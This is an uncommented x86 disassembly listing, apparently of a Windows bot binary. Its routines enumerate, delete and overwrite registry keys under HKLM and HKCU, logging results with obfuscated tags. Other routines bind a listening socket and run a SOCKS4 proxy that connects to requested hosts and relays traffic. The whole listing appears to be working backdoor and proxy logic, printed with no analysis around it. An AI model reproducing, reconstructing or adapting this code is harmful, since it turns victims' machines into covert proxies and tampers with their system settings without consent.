xor eax, eax
pop ecx
lea edi, [ebp+var_10B]
mov [ebp+var_10C], bl
xor esi, esi
rep stosd
stosw
stosb
lea eax, [ebp+var_4]
mov [ebp+arg_8], 100h
push eax
push 2001Fh
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz loc_420FC2
lea eax, [ebp+var_C]
push eax
push ebx
push ebx
lea eax, [ebp+arg_8]
push ebx
push eax
lea eax, [ebp+var_10C]
push eax
push ebx
push [ebp+var_4]
call dword_456E48 ; RegEnumKeyExA
mov edi, 103h
jmp short loc_420F72
; ---------------------------------------------------------------------------
loc_420F3A: ; CODE XREF: sub_420EA3+D1j
cmp eax, ebx
jnz short loc_420F76
lea eax, [ebp+var_10C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_420EA3
add esp, 0Ch
lea ecx, [ebp+var_C]
mov eax, esi
inc esi
push ecx
push ebx
push ebx
lea ecx, [ebp+arg_8]
push ebx
push ecx
lea ecx, [ebp+var_10C]
push ecx
push eax
push [ebp+var_4]
call dword_456E48 ; RegEnumKeyExA
loc_420F72: ; CODE XREF: sub_420EA3+95j
cmp eax, edi
jnz short loc_420F3A
loc_420F76: ; CODE XREF: sub_420EA3+99j
push [ebp+arg_4]
push [ebp+var_4]
call dword_456E78 ; RegDeleteKeyA
jmp short loc_420FC2
; ---------------------------------------------------------------------------
loc_420F84: ; CODE XREF: sub_420EA3+1Dj
lea eax, [ebp+var_4]
push eax
push 2001Fh
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz short loc_420FC2
push [ebp+arg_8]
push [ebp+var_4]
call dword_456E44 ; RegDeleteValueA
push [ebp+var_4]
test eax, eax
jnz short loc_420FBC
call dword_456EE8 ; RegCloseKey
loc_420FB7: ; CODE XREF: sub_420EA3+31j
xor eax, eax
inc eax
jmp short loc_420FC4
; ---------------------------------------------------------------------------
loc_420FBC: ; CODE XREF: sub_420EA3+10Cj
call dword_456EE8 ; RegCloseKey
loc_420FC2: ; CODE XREF: sub_420EA3+14j
; sub_420EA3+6Ej ...
xor eax, eax
loc_420FC4: ; CODE XREF: sub_420EA3+117j
pop edi
pop esi
pop ebx
leave
retn
sub_420EA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420FC9 proc near ; CODE XREF: sub_40A708+DAp
; sub_40A708+EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
cmp edi, esi
mov [ebp+var_4], esi
jz short loc_421057
cmp [ebp+arg_8], esi
jz short loc_421057
lea eax, [ebp+var_4]
push eax
push 2001Fh
push esi
push edi
push [ebp+arg_0]
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz short loc_421053
mov eax, [ebp+arg_C]
cmp eax, 4
jnz short loc_421022
lea eax, [ebp+arg_4]
mov [ebp+arg_4], esi
push eax
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_42105D
add esp, 10h
xor eax, eax
cmp [ebp+arg_4], esi
setnz al
mov esi, eax
jmp short loc_42104A
; ---------------------------------------------------------------------------
loc_421022: ; CODE XREF: sub_420FC9+35j
cmp eax, 1
jz short loc_421031
cmp eax, 2
jz short loc_421031
cmp eax, 7
jnz short loc_42104A
loc_421031: ; CODE XREF: sub_420FC9+5Cj
; sub_420FC9+61j
push 1
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_421277
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
neg esi
loc_42104A: ; CODE XREF: sub_420FC9+57j
; sub_420FC9+66j
push [ebp+var_4]
call dword_456EE8 ; RegCloseKey
loc_421053: ; CODE XREF: sub_420FC9+2Dj
mov eax, esi
jmp short loc_421059
; ---------------------------------------------------------------------------
loc_421057: ; CODE XREF: sub_420FC9+10j
; sub_420FC9+15j
xor eax, eax
loc_421059: ; CODE XREF: sub_420FC9+8Cj
pop edi
pop esi
leave
retn
sub_420FC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42105D proc near ; CODE XREF: sub_420FC9+45p
var_604 = byte ptr -604h
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_3C = byte ptr -3Ch
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_28 = byte ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 604h
push ebx
lea eax, [ebp+var_8]
push edi
xor ebx, ebx
push eax
push 0F003Fh
push ebx
mov edi, 0FAh
push [ebp+arg_4]
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_1C], edi
push [ebp+arg_0]
mov [ebp+var_14], 44Ch
mov [ebp+var_20], 80h
mov [ebp+var_4], ebx
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz loc_4211FB
lea eax, [ebp+var_30]
push esi
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_20]
push ebx
push eax
lea eax, [ebp+var_1B8]
push eax
push [ebp+var_8]
call dword_456EA4 ; RegQueryInfoKeyA
cmp [ebp+var_C], ebx
mov [ebp+arg_0], ebx
jz short loc_42113C
xor esi, esi
cmp [ebp+var_C], ebx
jbe short loc_42113C
loc_4210EC: ; CODE XREF: sub_42105D+DDj
lea eax, [ebp+var_30]
mov [ebp+var_1C], edi
push eax
push ebx
push ebx
lea eax, [ebp+var_1C]
push ebx
push eax
lea eax, [ebp+var_138]
push eax
push esi
push [ebp+var_8]
call dword_456E48 ; RegEnumKeyExA
test eax, eax
jnz short loc_421133
lea eax, [ebp+var_138]
push eax
lea eax, [esi+1]
push [ebp+arg_4]
push eax
push offset a_2dSS ; "(%.2d) %s\\%s"
push [ebp+arg_8]
push [ebp+arg_C]
call sub_41CD84
add esp, 18h
inc [ebp+var_4]
loc_421133: ; CODE XREF: sub_42105D+B0j
inc esi
inc [ebp+arg_0]
cmp esi, [ebp+var_C]
jb short loc_4210EC
loc_42113C: ; CODE XREF: sub_42105D+86j
; sub_42105D+8Dj
cmp [ebp+var_10], ebx
jz loc_4211E7
xor edi, edi
cmp [ebp+var_10], ebx
jbe loc_4211E7
mov eax, [ebp+arg_0]
lea esi, [eax+1]
loc_421156: ; CODE XREF: sub_42105D+184j
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_604]
push eax
push edi
push [ebp+var_8]
mov [ebp+var_14], 0FAh
mov [ebp+var_604], bl
call dword_456DE4 ; RegEnumValueA
test eax, eax
jnz short loc_4211DC
lea eax, [ebp+var_604]
push offset byte_454A34
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_4211B2
cmp [ebp+var_18], 1
jnz short loc_4211B2
lea eax, [ebp+var_604]
push offset aDefault ; "(Default)"
push eax
call sub_429A33
pop ecx
pop ecx
loc_4211B2: ; CODE XREF: sub_42105D+13Aj
; sub_42105D+140j
push [ebp+var_18]
call sub_420E3E
push eax
lea eax, [ebp+var_604]
push eax
push [ebp+arg_4]
push esi
push offset a_2dSSS ; "(%.2d) %s\\%s (%s)"
push [ebp+arg_8]
push [ebp+arg_C]
call sub_41CD84
add esp, 20h
inc [ebp+var_4]
loc_4211DC: ; CODE XREF: sub_42105D+124j
inc edi
inc esi
cmp edi, [ebp+var_10]
jb loc_421156
loc_4211E7: ; CODE XREF: sub_42105D+E2j
; sub_42105D+EDj
push [ebp+var_8]
call dword_456EE8 ; RegCloseKey
xor eax, eax
cmp [ebp+var_4], ebx
pop esi
setnle al
jmp short loc_4211FD
; ---------------------------------------------------------------------------
loc_4211FB: ; CODE XREF: sub_42105D+44j
xor eax, eax
loc_4211FD: ; CODE XREF: sub_42105D+19Cj
pop edi
pop ebx
leave
retn
sub_42105D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421201 proc near ; CODE XREF: sub_41BB45+96p
; sub_41BC27+1Cp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push 4
pop eax
xor esi, esi
mov [ebp+var_10], eax
mov [ebp+var_C], eax
lea eax, [ebp+var_4]
mov [ebp+var_4], esi
push eax
push 0F003Fh
push esi
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz short loc_42126D
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
push [ebp+arg_8]
push [ebp+var_4]
call dword_456DD0 ; RegQueryValueExA
push [ebp+var_4]
test eax, eax
jnz short loc_421267
call dword_456EE8 ; RegCloseKey
mov eax, [ebp+arg_C]
mov dword ptr [eax], 1
mov eax, [ebp+var_8]
jmp short loc_421274
; ---------------------------------------------------------------------------
loc_421267: ; CODE XREF: sub_421201+50j
call dword_456EE8 ; RegCloseKey
loc_42126D: ; CODE XREF: sub_421201+30j
mov eax, [ebp+arg_C]
mov [eax], esi
xor eax, eax
loc_421274: ; CODE XREF: sub_421201+64j
pop esi
leave
retn
sub_421201 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421277 proc near ; CODE XREF: sub_418EDB+5Cp
; sub_420FC9+71p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, 0FFFFh
push esi
xor ebx, ebx
push eax
mov esi, offset dword_45AFC8
push ebx
push esi
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456FA0 ; RegOpenKeyExA
test eax, eax
jnz short loc_421319
lea eax, [ebp+var_8]
push eax
push esi
push ebx
push ebx
push [ebp+arg_8]
push [ebp+var_4]
call dword_456DD0 ; RegQueryValueExA
test eax, eax
jnz short loc_421310
cmp [ebp+arg_C], 7
jnz short loc_421303
mov ecx, [ebp+var_8]
mov byte ptr dword_45AFC8[ecx], bl
loc_4212DB: ; CODE XREF: sub_421277+72j
cmp ecx, ebx
jz short loc_4212EB
dec ecx
mov [ebp+var_8], ecx
cmp byte ptr dword_45AFC8[ecx], bl
jz short loc_4212DB
loc_4212EB: ; CODE XREF: sub_421277+66j
xor edx, edx
cmp ecx, ebx
jbe short loc_421303
loc_4212F1: ; CODE XREF: sub_421277+8Aj
lea eax, dword_45AFC8[edx]
cmp [eax], bl
jnz short loc_4212FE
mov byte ptr [eax], 0Ah
loc_4212FE: ; CODE XREF: sub_421277+82j
inc edx
cmp edx, ecx
jb short loc_4212F1
loc_421303: ; CODE XREF: sub_421277+59j
; sub_421277+78j
push [ebp+var_4]
call dword_456EE8 ; RegCloseKey
mov eax, esi
jmp short loc_42131B
; ---------------------------------------------------------------------------
loc_421310: ; CODE XREF: sub_421277+53j
push [ebp+var_4]
call dword_456EE8 ; RegCloseKey
loc_421319: ; CODE XREF: sub_421277+3Cj
xor eax, eax
loc_42131B: ; CODE XREF: sub_421277+97j
pop esi
pop ebx
leave
retn
sub_421277 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42131F proc near ; CODE XREF: sub_418EDB+2EBp
; sub_418EDB+2F9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+var_4]
mov eax, [ebp+arg_C]
push eax
push 4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421387
add esp, 18h
leave
retn
sub_42131F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421340 proc near ; CODE XREF: sub_418D49+154p
; sub_418EDB+2D5p ...
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_10], 1
mov eax, [ebp+arg_C]
jnz short loc_421367
push eax
push [ebp+var_8]
push 1
loc_421354: ; CODE XREF: sub_421340+33j
; sub_421340+41j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421387
add esp, 18h
leave
retn
; ---------------------------------------------------------------------------
loc_421367: ; CODE XREF: sub_421340+Cj
cmp [ebp+arg_10], 2
jnz short loc_421375
push eax
push [ebp+var_8]
push 2
jmp short loc_421354
; ---------------------------------------------------------------------------
loc_421375: ; CODE XREF: sub_421340+2Bj
cmp [ebp+arg_10], 7
jnz short loc_421383
push eax
push [ebp+var_8]
push 7
jmp short loc_421354
; ---------------------------------------------------------------------------
loc_421383: ; CODE XREF: sub_421340+39j
xor eax, eax
leave
retn
sub_421340 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421387 proc near ; CODE XREF: sub_42131F+17p
; sub_421340+1Dp
var_10004 = byte ptr -10004h
var_10003 = byte ptr -10003h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, 10004h
call sub_429A90
push ebx
xor ebx, ebx
lea eax, [ebp+arg_4]
push ebx
push eax
push ebx
push 20006h
push ebx
push ebx
push ebx
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456EB4 ; RegCreateKeyExA
test eax, eax
jz short loc_4213BC
xor eax, eax
jmp loc_42148C
; ---------------------------------------------------------------------------
loc_4213BC: ; CODE XREF: sub_421387+2Cj
push esi
push edi
mov edi, [ebp+arg_8]
cmp edi, ebx
jz loc_42147C
mov eax, [ebp+arg_C]
dec eax
jz loc_42148F
dec eax
jz short loc_421447
dec eax
dec eax
jz short loc_421437
sub eax, 3
jnz loc_42147F
push [ebp+arg_14]
call sub_4292D0
pop ecx
mov esi, eax
push [ebp+arg_14]
lea eax, [ebp+var_10004]
push eax
call dword_4370A4 ; lstrcpyA
xor ecx, ecx
cmp esi, ebx
mov [ebp+esi+var_10004], bl
mov [ebp+esi+var_10003], bl
jle short loc_421427
loc_421412: ; CODE XREF: sub_421387+9Cj
lea eax, [ebp+ecx+var_10004]
cmp byte ptr [eax], 0Ah
jnz short loc_421420
mov [eax], bl
loc_421420: ; CODE XREF: sub_421387+95j
inc ecx
cmp ecx, esi
jl short loc_421412
cmp esi, ebx
loc_421427: ; CODE XREF: sub_421387+89j
jz short loc_42142B
inc esi
inc esi
loc_42142B: ; CODE XREF: sub_421387:loc_421427j
lea eax, [ebp+var_10004]
push esi
push eax
push 7
jmp short loc_42146D
; ---------------------------------------------------------------------------
loc_421437: ; CODE XREF: sub_421387+51j
mov eax, [ebp+arg_10]
push 4
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push eax
push 4
jmp short loc_42146D
; ---------------------------------------------------------------------------
loc_421447: ; CODE XREF: sub_421387+4Dj
push [ebp+arg_14]
call sub_4292D0
pop ecx
mov esi, eax
push [ebp+arg_14]
lea eax, [ebp+var_10004]
push eax
call dword_4370A4 ; lstrcpyA
inc esi
lea eax, [ebp+var_10004]
push esi
push eax
push 2
loc_42146D: ; CODE XREF: sub_421387+AEj
; sub_421387+BEj ...
push ebx
push edi
push [ebp+arg_4]
call dword_456F44 ; RegSetValueExA
test eax, eax
jnz short loc_42147F
loc_42147C: ; CODE XREF: sub_421387+3Cj
xor ebx, ebx
inc ebx
loc_42147F: ; CODE XREF: sub_421387+56j
; sub_421387+F3j
push [ebp+arg_4]
call dword_456EE8 ; RegCloseKey
pop edi
mov eax, ebx
pop esi
loc_42148C: ; CODE XREF: sub_421387+30j
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42148F: ; CODE XREF: sub_421387+46j
push [ebp+arg_14]
call sub_4292D0
pop ecx
mov esi, eax
push [ebp+arg_14]
lea eax, [ebp+var_10004]
push eax
call dword_4370A4 ; lstrcpyA
inc esi
lea eax, [ebp+var_10004]
push esi
push eax
push 1
jmp short loc_42146D
sub_421387 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4214B7 proc near ; CODE XREF: sub_4215AD+125p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4214CD: ; CODE XREF: sub_4214B7+BBj
; sub_4214B7+EBj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_4214DE: ; CODE XREF: sub_4214B7+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_4214EF
inc eax
cmp eax, ecx
jb short loc_4214DE
loc_4214EF: ; CODE XREF: sub_4214B7+31j
cmp eax, ecx
jnz short loc_421500
mov [ebp+eax*4+var_100], edx
inc [ebp+var_104]
loc_421500: ; CODE XREF: sub_4214B7+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_456EFC ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_456DB8 ; __WSAFDIsSet
test eax, eax
jz short loc_421560
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_456F38 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4215A8
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jz short loc_4215A8
loc_421560: ; CODE XREF: sub_4214B7+7Bj
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_456DB8 ; __WSAFDIsSet
test eax, eax
jz loc_4214CD
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_456F38 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4215A8
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_456F6C ; send
cmp eax, 0FFFFFFFFh
jnz loc_4214CD
loc_4215A8: ; CODE XREF: sub_4214B7+90j
; sub_4214B7+A7j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4214B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4215AD proc near ; DATA XREF: sub_4216DB+99o
var_524 = dword ptr -524h
var_520 = dword ptr -520h
var_420 = byte ptr -420h
var_41F = byte ptr -41Fh
var_41E = word ptr -41Eh
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 524h
push ebx
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
xor ebx, ebx
push eax
xor edi, edi
push ebx
lea eax, [ebp+var_524]
push ebx
inc edi
push eax
push ebx
mov [ebp+var_8], 5
mov [ebp+var_4], ebx
mov [ebp+var_520], esi
mov [ebp+var_524], edi
call dword_456EFC ; select
test eax, eax
jz loc_4216A0
push ebx
lea eax, [ebp+var_420]
push 408h
push eax
push esi
call dword_456F38 ; recv
test eax, eax
jle loc_4216A0
cmp [ebp+var_420], 4
jnz loc_4216A0
cmp [ebp+var_41F], 1
jnz short loc_4216A0
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_429690
mov ax, [ebp+var_41E]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_41C]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_456FB0 ; socket
mov edi, eax
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
push 400h
lea eax, [ebp+var_418]
push ebx
mov [ebp+var_420], bl
push eax
jnz short loc_4216B0
mov [ebp+var_41F], 5Bh
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_420]
push ebx
push 8
push eax
push esi
call dword_456F6C ; send
loc_4216A0: ; CODE XREF: sub_4215AD+40j
; sub_4215AD+5Cj ...
push esi
call dword_456FD0 ; closesocket
loc_4216A7: ; CODE XREF: sub_4215AD+12Cj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4216B0: ; CODE XREF: sub_4215AD+D1j
mov [ebp+var_41F], 5Ah
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_420]
push ebx
push 8
push eax
push esi
call dword_456F6C ; send
push esi
push edi
call sub_4214B7
pop ecx
pop ecx
jmp short loc_4216A7
sub_4215AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4216DB proc near ; DATA XREF: sub_40A938+17CAo
var_E4 = byte ptr -0E4h
var_60 = dword ptr -60h
var_44 = dword ptr -44h
var_20 = byte ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0E4h
mov eax, [ebp+arg_0]
push esi
push edi
push 31h
pop ecx
mov esi, eax
lea edi, [ebp+var_E4]
mov [ebp+var_10], 2
rep movsd
push [ebp+var_44]
xor edi, edi
inc edi
mov [eax+0BCh], edi
call dword_456F18 ; ntohs
push 6
xor esi, esi
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
call dword_456FB0 ; socket
mov edi, eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_456F4C ; bind
test eax, eax
jz short loc_421745
push [ebp+var_60]
call sub_42355A
pop ecx
push esi
call dword_437170 ; ExitThread
loc_421745: ; CODE XREF: sub_4216DB+58j
push 0Ah
push edi
call dword_456F48 ; listen
test eax, eax
jz short loc_421762
push [ebp+var_60]
call sub_42355A
pop ecx
push esi
call dword_437170 ; ExitThread
loc_421762: ; CODE XREF: sub_4216DB+75j
; sub_4216DB+A6j
lea eax, [ebp+var_20]
push esi
push eax
push edi
call dword_456FC4 ; accept
lea ecx, [ebp+arg_0]
push ecx
push esi
push eax
push offset sub_4215AD
push esi
push esi
call dword_43717C ; CreateThread
jmp short loc_421762
sub_4216DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421783 proc near ; CODE XREF: sub_421F40+43p
; sub_421F40+9Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor edx, edx
push esi
push edi
mov [ebp+var_8], edx
mov [ebp+var_4], edx
xor esi, esi
loc_421795: ; CODE XREF: sub_421783+23Ej
mov eax, dword_44E16C[esi]
cmp eax, 4
jnz loc_4218AC
cmp [ebp+arg_0], edx
jz short loc_4217B1
mov eax, dword_44E170[esi]
jmp short loc_4217B7
; ---------------------------------------------------------------------------
loc_4217B1: ; CODE XREF: sub_421783+24j
mov eax, dword_44E174[esi]
loc_4217B7: ; CODE XREF: sub_421783+2Cj
lea edi, dword_44E06B[esi]
lea ebx, dword_44DF6C[esi]
push eax
push edi
push ebx
push dword_44DF68[esi]
call sub_42131F
add esp, 10h
test eax, eax
jz short loc_421842
inc [ebp+var_8]
cmp [ebp+arg_14], 0
jnz loc_4219B3
cmp [ebp+arg_10], 0
jz loc_4219B3
cmp [ebp+arg_C], 0
jnz loc_4219B3
cmp [ebp+arg_0], 0
jz short loc_421807
mov ecx, dword_44E170[esi]
jmp short loc_42180D
; ---------------------------------------------------------------------------
loc_421807: ; CODE XREF: sub_421783+7Aj
mov ecx, dword_44E174[esi]
loc_42180D: ; CODE XREF: sub_421783+82j
cmp dword_44DF68[esi], 80000002h
mov edx, offset aHklm ; "HKLM"
jz short loc_421823
mov edx, offset aHkcu ; "HKCU"
loc_421823: ; CODE XREF: sub_421783+99j
cmp [ebp+arg_0], 0
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jnz short loc_421833
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_421833: ; CODE XREF: sub_421783+A9j
push ecx
push edi
push ebx
push edx
push eax
push offset aSSetSSSToD_ ; "%s Set \"%s\\%s\\%s\" to \"%d\"."
jmp loc_4219A5
; ---------------------------------------------------------------------------
loc_421842: ; CODE XREF: sub_421783+53j
inc [ebp+var_4]
cmp [ebp+arg_14], 0
jnz loc_4219B3
cmp [ebp+arg_10], 0
jz loc_4219B3
cmp [ebp+arg_C], 0
jnz loc_4219B3
cmp [ebp+arg_0], 0
jz short loc_421871
mov ecx, dword_44E170[esi]
jmp short loc_421877
; ---------------------------------------------------------------------------
loc_421871: ; CODE XREF: sub_421783+E4j
mov ecx, dword_44E174[esi]
loc_421877: ; CODE XREF: sub_421783+ECj
cmp dword_44DF68[esi], 80000002h
mov edx, offset aHklm ; "HKLM"
jz short loc_42188D
mov edx, offset aHkcu ; "HKCU"
loc_42188D: ; CODE XREF: sub_421783+103j
cmp [ebp+arg_0], 0
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jnz short loc_42189D
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_42189D: ; CODE XREF: sub_421783+113j
push ecx
push edi
push ebx
push edx
push eax
push offset aSFailedToSetSS ; "%s Failed to set \"%s\\%s\\%s\" to \"%d\"."
jmp loc_4219A5
; ---------------------------------------------------------------------------
loc_4218AC: ; CODE XREF: sub_421783+1Bj
cmp eax, 1
jnz loc_4219B5
inc [ebp+var_8]
cmp [ebp+arg_0], edx
lea eax, dword_44E178[esi]
jnz short loc_4218C9
lea eax, dword_44E277[esi]
loc_4218C9: ; CODE XREF: sub_421783+13Ej
lea edi, dword_44E06B[esi]
push 1
lea ebx, dword_44DF6C[esi]
push eax
push edi
push ebx
push dword_44DF68[esi]
call sub_421340
add esp, 14h
test eax, eax
jz short loc_42194E
cmp [ebp+arg_14], 0
jnz loc_4219B3
cmp [ebp+arg_10], 0
jz loc_4219B3
cmp [ebp+arg_C], 0
jnz loc_4219B3
cmp [ebp+arg_0], 0
lea ecx, dword_44E178[esi]
jnz short loc_42191C
lea ecx, dword_44E277[esi]
loc_42191C: ; CODE XREF: sub_421783+191j
cmp dword_44DF68[esi], 80000002h
mov edx, offset aHklm ; "HKLM"
jz short loc_421932
mov edx, offset aHkcu ; "HKCU"
loc_421932: ; CODE XREF: sub_421783+1A8j
cmp [ebp+arg_0], 0
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jnz short loc_421942
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_421942: ; CODE XREF: sub_421783+1B8j
push ecx
push edi
push ebx
push edx
push eax
push offset aSSetSSSToS_ ; "%s Set \"%s\\%s\\%s\" to \"%s\"."
jmp short loc_4219A5
; ---------------------------------------------------------------------------
loc_42194E: ; CODE XREF: sub_421783+167j
inc [ebp+var_4]
cmp [ebp+arg_14], 0
jnz short loc_4219B3
cmp [ebp+arg_10], 0
jz short loc_4219B3
cmp [ebp+arg_C], 0
jnz short loc_4219B3
cmp [ebp+arg_0], 0
lea ecx, dword_44E178[esi]
jnz short loc_421975
lea ecx, dword_44E277[esi]
loc_421975: ; CODE XREF: sub_421783+1EAj
cmp dword_44DF68[esi], 80000002h
mov edx, offset aHklm ; "HKLM"
jz short loc_42198B
mov edx, offset aHkcu ; "HKCU"
loc_42198B: ; CODE XREF: sub_421783+201j
cmp [ebp+arg_0], 0
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jnz short loc_42199B
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_42199B: ; CODE XREF: sub_421783+211j
push ecx
push edi
push ebx
push edx
push eax
push offset aSFailedToSet_0 ; "%s Failed to set \"%s\\%s\\%s\" to \"%s\"."
loc_4219A5: ; CODE XREF: sub_421783+BAj
; sub_421783+124j ...
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41CD84
add esp, 20h
loc_4219B3: ; CODE XREF: sub_421783+5Cj
; sub_421783+66j ...
xor edx, edx
loc_4219B5: ; CODE XREF: sub_421783+12Cj
add esi, 410h
cmp esi, 0C30h
jb loc_421795
cmp [ebp+var_8], edx
pop edi
pop esi
pop ebx
jnz short loc_421A06
cmp [ebp+arg_10], edx
jnz short locret_421A44
cmp [ebp+arg_C], edx
jnz short locret_421A44
